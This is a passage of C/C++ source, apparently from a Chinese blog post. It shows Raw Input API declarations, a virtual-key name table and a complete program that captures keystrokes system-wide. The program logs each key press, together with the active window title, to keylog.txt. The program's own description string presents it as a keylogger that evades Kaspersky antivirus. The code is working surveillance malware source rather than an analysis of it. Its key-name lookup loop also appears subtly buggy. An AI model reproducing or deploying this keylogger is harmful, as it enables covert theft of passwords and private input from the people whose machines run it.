PRAWINPUT pData,
PUINT pcbSize,
UINT cbSizeHeader
);
/*
* Raw Input request APIs
*/
typedef struct tagRAWINPUTDEVICE {
USHORT usUsagePage; // Toplevel collection UsagePage
USHORT usUsage; // Toplevel collection Usage
DWORD dwFlags;
HWND hwndTarget; // Target hwnd. NULL = follows keyboard focus
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;
typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;
#define RIDEV_REMOVE 0x00000001
#define RIDEV_EXCLUDE 0x00000010
#define RIDEV_PAGEONLY 0x00000020
#define RIDEV_NOLEGACY 0x00000030
#define RIDEV_INPUTSINK 0x00000100
#define RIDEV_CAPTUREMOUSE 0x00000200 // effective when mouse nolegacy is specified, otherwise it would be an error
#define RIDEV_NOHOTKEYS 0x00000200 // effective for keyboard.
#define RIDEV_APPKEYS 0x00000400 // effective for keyboard.
#define RIDEV_EXMODEMASK 0x000000F0
#define RIDEV_EXMODE(mode) ((mode) & RIDEV_EXMODEMASK)
typedef
BOOL
(_stdcall * PRegisterRawInputDevices)(
PCRAWINPUTDEVICE pRawInputDevices,
UINT uiNumDevices,
UINT cbSize
);
typedef
UINT
(_stdcall * PGetRegisteredRawInputDevices)(
PRAWINPUTDEVICE pRawInputDevices,
PUINT puiNumDevices,
UINT cbSize
);
typedef struct tagRAWINPUTDEVICELIST {
HANDLE hDevice;
DWORD dwType;
} RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;
typedef
UINT
(_stdcall * PGetRawInputDeviceList)(
PRAWINPUTDEVICELIST pRawInputDeviceList,
PUINT puiNumDevices,
UINT cbSize);
typedef
LRESULT
(_stdcall * PDefRawInputProc)(
PRAWINPUT *paRawInput,
INT nInput,
UINT cbSizeHeader
);
#define WM_INPUT 0x00ff
#endif
#ifndef _VKEY_H
#define _VKEY_H
struct VKeyInfo{
USHORT VKey;
LPCSTR VKname;
};
#define AddVKey(VK, VKName) {(VK), (VKName)}
static VKeyInfo vkis[] = {
AddVKey(VK_LBUTTON, "Left mouse button"),
AddVKey(VK_RBUTTON, "Right mouse button"),
AddVKey(VK_CANCEL, "Control-break processing"),
AddVKey(0x04, "[Middle mouse button (three-button mouse]"),
AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
AddVKey(0x07, "Undefined"),
AddVKey(VK_BACK, "[BACKSPACE]"),
AddVKey(VK_TAB, "[TAB]"),
AddVKey(0x0A, "Reserved"),
AddVKey(0x0B, "Reserved"),
AddVKey(VK_CLEAR, "[CLEAR]"),
AddVKey(VK_RETURN, "[ENTER]"),
AddVKey(0x0E, "Undefined"),
AddVKey(0x0F, "Undefined"),
AddVKey(VK_SHIFT, "[SHIFT]"),
AddVKey(VK_CONTROL, "[CTRL]"),
AddVKey(VK_MENU, "[ALT]"),
AddVKey(VK_PAUSE, "[PAUSE]"),
AddVKey(VK_CAPITAL, "[caps lock]"),
AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
AddVKey(VK_HANGUL, "IME Hangul mode"),
AddVKey(0x16, "Undefined"),
AddVKey(VK_JUNJA, "IME Junja mode"),
AddVKey(VK_FINAL, "IME final mode"),
AddVKey(VK_HANJA, "IME Hanja mode"),
AddVKey(VK_KANJI, "IME Kanji mode"),
AddVKey(0x1A, "Undefined"),
AddVKey(VK_ESCAPE, "[ESC]"),
AddVKey(VK_CONVERT, "IME convert"),
AddVKey(VK_NONCONVERT, "IME nonconvert"),
AddVKey(VK_ACCEPT, "IME accept"),
AddVKey(VK_MODECHANGE, "IME mode change request"),
AddVKey(VK_SPACE, "[space]"),
AddVKey(VK_PRIOR, "[PAGE UP]"),
AddVKey(VK_NEXT, "[PAGE DOWN]"),
AddVKey(VK_END, "[END]"),
AddVKey(VK_HOME, "[HOME]"),
AddVKey(VK_LEFT, "[LEFT ARROW]"),
AddVKey(VK_UP, "[UP ARROW]"),
AddVKey(VK_RIGHT, "[RIGHT ARROW]"),
AddVKey(VK_DOWN, "[DOWN ARROW]"),
AddVKey(VK_SELECT, "[SELECT]"),
AddVKey(VK_PRINT, "[PRINT]"),
AddVKey(VK_EXECUTE, "[EXECUTE]"),
AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),
AddVKey(VK_INSERT, "[INSERT]"),
AddVKey(VK_DELETE, "[DEL]"),
AddVKey(VK_HELP, "[HELP]"),
AddVKey(0x30, "0"),
AddVKey(0x31, "1"),
AddVKey(0x32, "2"),
AddVKey(0x33, "3"),
AddVKey(0x34, "4"),
AddVKey(0x35, "5"),
AddVKey(0x36, "6"),
AddVKey(0x37, "7"),
AddVKey(0x38, "8"),
AddVKey(0x39, "9"),
AddVKey(0x3A, "Undefined"),
AddVKey(0x3B, "Undefined"),
AddVKey(0x3C, "Undefined"),
AddVKey(0x3D, "Undefined"),
AddVKey(0x3E, "Undefined"),
AddVKey(0x3F, "Undefined"),
AddVKey(0x40, "Undefined"),
AddVKey(0x41, "a"),
AddVKey(0x42, "b"),
AddVKey(0x43, "c"),
AddVKey(0x44, "d"),
AddVKey(0x45, "e"),
AddVKey(0x46, "f"),
AddVKey(0x47, "g"),
AddVKey(0x48, "h"),
AddVKey(0x49, "i"),
AddVKey(0x4A, "j"),
AddVKey(0x4B, "k"),
AddVKey(0x4C, "l"),
AddVKey(0x4D, "m"),
AddVKey(0x4E, "n"),
AddVKey(0x4F, "o"),
AddVKey(0x50, "p"),
AddVKey(0x51, "q"),
AddVKey(0x52, "r"),
AddVKey(0x53, "s"),
AddVKey(0x54, "t"),
AddVKey(0x55, "u"),
AddVKey(0x56, "v"),
AddVKey(0x57, "w"),
AddVKey(0x58, "x"),
AddVKey(0x59, "y"),
AddVKey(0x5A, "z"),
AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
AddVKey(0x5E, "Reserved"),
AddVKey(VK_SLEEP, "Computer Sleep key"),
AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
AddVKey(VK_MULTIPLY, "Multiply key"),
AddVKey(VK_ADD, "Add key"),
AddVKey(VK_SEPARATOR, "Separator key"),
AddVKey(VK_SUBTRACT, "Subtract key"),
AddVKey(VK_DECIMAL, "Decimal key"),
AddVKey(VK_DIVIDE, "Divide key"),
AddVKey(VK_F1, "[F1]"),
AddVKey(VK_F2, "[F2]"),
AddVKey(VK_F3, "[F3]"),
AddVKey(VK_F4, "[F4]"),
AddVKey(VK_F5, "[F5]"),
AddVKey(VK_F6, "[F6]"),
AddVKey(VK_F7, "[F7]"),
AddVKey(VK_F8, "[F8]"),
AddVKey(VK_F9, "[F9]"),
AddVKey(VK_F10, "[F10]"),
AddVKey(VK_F11, "[F11]"),
AddVKey(VK_F12, "[F12]"),
AddVKey(VK_F13, "[F13]"),
AddVKey(VK_F14, "[F14]"),
AddVKey(VK_F15, "[F15]"),
AddVKey(VK_F16, "[F16]"),
AddVKey(VK_F17, "[F17]"),
AddVKey(VK_F18, "[F18]"),
AddVKey(VK_F19, "[F19]"),
AddVKey(VK_F20, "[F20]"),
AddVKey(VK_F21, "[F21]"),
AddVKey(VK_F22, "[F22]"),
AddVKey(VK_F23, "[F23]"),
AddVKey(VK_F24, "[F24]"),
AddVKey(0x88, "Unassigned"),
AddVKey(0x89, "Unassigned"),
AddVKey(0x8A, "Unassigned"),
AddVKey(0x8B, "Unassigned"),
AddVKey(0x8C, "Unassigned"),
AddVKey(0x8D, "Unassigned"),
AddVKey(0x8E, "Unassigned"),
AddVKey(0x8F, "Unassigned"),
AddVKey(VK_NUMLOCK, "[NUM LOCK]"),
AddVKey(VK_SCROLL, "[SCROLL LOCK]"),
AddVKey(0x92, "OEM specific"),
AddVKey(0x93, "OEM specific"),
AddVKey(0x94, "OEM specific"),
AddVKey(0x95, "OEM specific"),
AddVKey(0x96, "OEM specific"),
AddVKey(0x97, "Unassigned"),
AddVKey(0x98, "Unassigned"),
AddVKey(0x99, "Unassigned"),
AddVKey(0x9A, "Unassigned"),
AddVKey(0x9B, "Unassigned"),
AddVKey(0x9C, "Unassigned"),
AddVKey(0x9D, "Unassigned"),
AddVKey(0x9E, "Unassigned"),
AddVKey(0x9F, "Unassigned"),
AddVKey(VK_LSHIFT, "[Left SHIFT ]"),
AddVKey(VK_RSHIFT, "[Right SHIFT]"),
AddVKey(VK_LCONTROL, "[Left CONTROL]"),
AddVKey(VK_RCONTROL, "[Right CONTROL]"),
AddVKey(VK_LMENU, "Left MENU key"),
AddVKey(VK_RMENU, "Right MENU key"),
AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
AddVKey(0xB8, "Reserved"),
AddVKey(0xB9, "Reserved"),
AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
AddVKey(0xC1, "Reserved"),
AddVKey(0xC2, "Reserved"),
AddVKey(0xC3, "Reserved"),
AddVKey(0xC4, "Reserved"),
AddVKey(0xC5, "Reserved"),
AddVKey(0xC6, "Reserved"),
AddVKey(0xC7, "Reserved"),
AddVKey(0xC8, "Reserved"),
AddVKey(0xC9, "Reserved"),
AddVKey(0xCA, "Reserved"),
AddVKey(0xCB, "Reserved"),
AddVKey(0xCC, "Reserved"),
AddVKey(0xCD, "Reserved"),
AddVKey(0xCE, "Reserved"),
AddVKey(0xCF, "Reserved"),
AddVKey(0xD0, "Reserved"),
AddVKey(0xD1, "Reserved"),
AddVKey(0xD2, "Reserved"),
AddVKey(0xD3, "Reserved"),
AddVKey(0xD4, "Reserved"),
AddVKey(0xD5, "Reserved"),
AddVKey(0xD6, "Reserved"),
AddVKey(0xD7, "Reserved"),
AddVKey(0xD8, "Unassigned"),
AddVKey(0xD9, "Unassigned"),
AddVKey(0xDA, "Unassigned"),
AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard."
"Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),
AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."),
AddVKey(0xE0, "Reserved"),
AddVKey(0xE1, "OEM specific"),
AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
AddVKey(0xE3, "OEM specific"),
AddVKey(0xE4, "OEM specific"),
AddVKey(VK_PROCESSKEY, "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key"),
AddVKey(0xE6, "OEM specific"),
AddVKey(0xE7, "Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP"),
AddVKey(0xE8, "Unassigned"),
AddVKey(0xE9, "OEM specific"),
AddVKey(0xEA, "OEM specific"),
AddVKey(0xEB, "OEM specific"),
AddVKey(0xEC, "OEM specific"),
AddVKey(0xED, "OEM specific"),
AddVKey(0xEF, "OEM specific"),
AddVKey(0xF0, "OEM specific"),
AddVKey(0xF1, "OEM specific"),
AddVKey(0xF2, "OEM specific"),
AddVKey(0xF3, "OEM specific"),
AddVKey(0xF4, "OEM specific"),
AddVKey(0xF5, "OEM specific"),
AddVKey(VK_ATTN, "Attn key"),
AddVKey(VK_CRSEL, "CrSel key"),
AddVKey(VK_EXSEL, "ExSel key"),
AddVKey(VK_EREOF, "Erase EOF key"),
AddVKey(VK_PLAY, "Play key"),
AddVKey(VK_ZOOM, "Zoom key"),
AddVKey(VK_NONAME, "Reserved"),
AddVKey(VK_PA1, "PA1 key"),
AddVKey(VK_OEM_CLEAR, "Clear key"),
AddVKey(0xFF, "Unknown Virtual-Key Code")
};
LPCSTR GetKeyName(USHORT VKey)
{
for(int i = 0; i < sizeof(vkis); i++)
{
if(VKey == vkis[i].VKey)
return vkis[i].VKname;
}
return vkis[--i].VKname;
}
#endif
实现过程如下,在应用程序中调用之。
- #include "rawinput.h"
- LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
- HANDLE InitLogFile(void);
- bool Intial(HINSTANCE hInstance);
- BOOL RegisitKeyBord(HWND hwnd);
- PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname);
- HWND prev = NULL;
- HANDLE hFile;
- char *szInfo = "一个穿透卡巴的键盘记录(带窗口标题获取)利用原始设备输入变化RawInput 键盘记录在当前目录下的Keylog.txt中";
- char *szTips = <A href="http://blog.csdn.net/yincheng01">http://blog.csdn.net/yincheng01</A>;
- int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)
- {
- MSG msg;
- Intial(hInstance);
- while(GetMessage(&msg, NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return 0;
- }
- bool Intial(HINSTANCE hInstance)
- {
- HWND hWnd;
- WNDCLASS wndClass;
- wndClass.style = CS_HREDRAW | CS_VREDRAW;
- wndClass.lpfnWndProc = WndProc;
- wndClass.cbClsExtra = 0;
- wndClass.cbWndExtra = 0;
- wndClass.hInstance = hInstance;
- wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);
- wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);
- wndClass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
- wndClass.lpszMenuName = NULL;
- wndClass.lpszClassName = TEXT("Twnd");
- RegisterClass(&wndClass);
- hWnd = CreateWindow(
- TEXT("Twnd"), // window class name
- TEXT("键盘记录测试"), // window caption
- WS_OVERLAPPEDWINDOW, // window style
- CW_USEDEFAULT, // initial x position
- CW_USEDEFAULT, // initial y position
- CW_USEDEFAULT, // initial x size
- CW_USEDEFAULT, // initial y size
- NULL, // parent window handle
- NULL, // window menu handle
- hInstance, // program instance handle
- NULL); // creation parameters
- //将键盘记录写入日志文件
- hFile = InitLogFile();
- if(!RegisitKeyBord(hWnd))
- return 0;
- ShowWindow(hWnd, SW_SHOW);
- UpdateWindow(hWnd);
- return 0;
- }
- LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
- {
- HDC hdc;
- PAINTSTRUCT ps;
- char vk[256] = {'\0'};
- char ti[256] = {'\0'};
- UINT dwSize;
- LPBYTE lpb = NULL;
- RAWINPUT* raw = NULL;
- DWORD dwWritten = 0;
- PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
- switch(message)
- {
- case WM_INPUT:
- if(NULL == GetRawInputData)
- {
- DefWindowProc(hWnd, message, wParam, lParam);
- return 0;
- }
- GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
- lpb = new BYTE[dwSize];
- if(lpb == NULL)
- {
- DefWindowProc(hWnd, message, wParam, lParam);
- return 0;
- }
- if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
- break;
- raw = (RAWINPUT*)lpb;
- if (raw->header.dwType == RIM_TYPEKEYBOARD)
- {
- if ( prev == NULL)
- {
- prev = GetForegroundWindow();
- GetWindowText(prev,ti,256);
- wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
- }
- else if ( prev == GetForegroundWindow() )
- {
- wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
- }
- else
- {
- prev = GetForegroundWindow();
- GetWindowText(prev,ti,256);
- wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
- }
- if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))
- {
- SetFilePointer(hFile, 0, NULL, FILE_END);
- WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);
- }
- }
- delete[] lpb;
- DefWindowProc(hWnd, message, wParam, lParam);
- return 0;
- case WM_PAINT:
- hdc = BeginPaint(hWnd, &ps);
- TextOut(hdc, 10, 10, szInfo, strlen(szInfo));
- TextOut(hdc, 10, 30, szTips, strlen(szTips));
- EndPaint(hWnd, &ps);
- return 0;
- case WM_DESTROY:
- PostQuitMessage(0);
- CloseHandle(hFile);
- return 0;
- default:
- return DefWindowProc(hWnd, message, wParam, lParam);
- }
- }
- HANDLE InitLogFile(void)
- {
- HANDLE hFile = CreateFile("keylog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- return hFile;
- }
- PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)
- {
- HMODULE hDll = LoadLibraryA(dllname);
- if(NULL == hDll)
- return NULL;
- PVOID pProc = GetProcAddress(hDll, procname);
- FreeLibrary(hDll);
- return pProc;
- }
- BOOL RegisitKeyBord(HWND hwnd)
- {
- if(NULL == hwnd)
- return false;
- PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
- if(NULL == RegisterRawInputDevices)
- return false;
- RAWINPUTDEVICE rid;
- rid.usUsagePage = 0x01;
- rid.usUsage = 0x06;
- rid.dwFlags = RIDEV_INPUTSINK;
- rid.hwndTarget = hwnd;
- return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
- }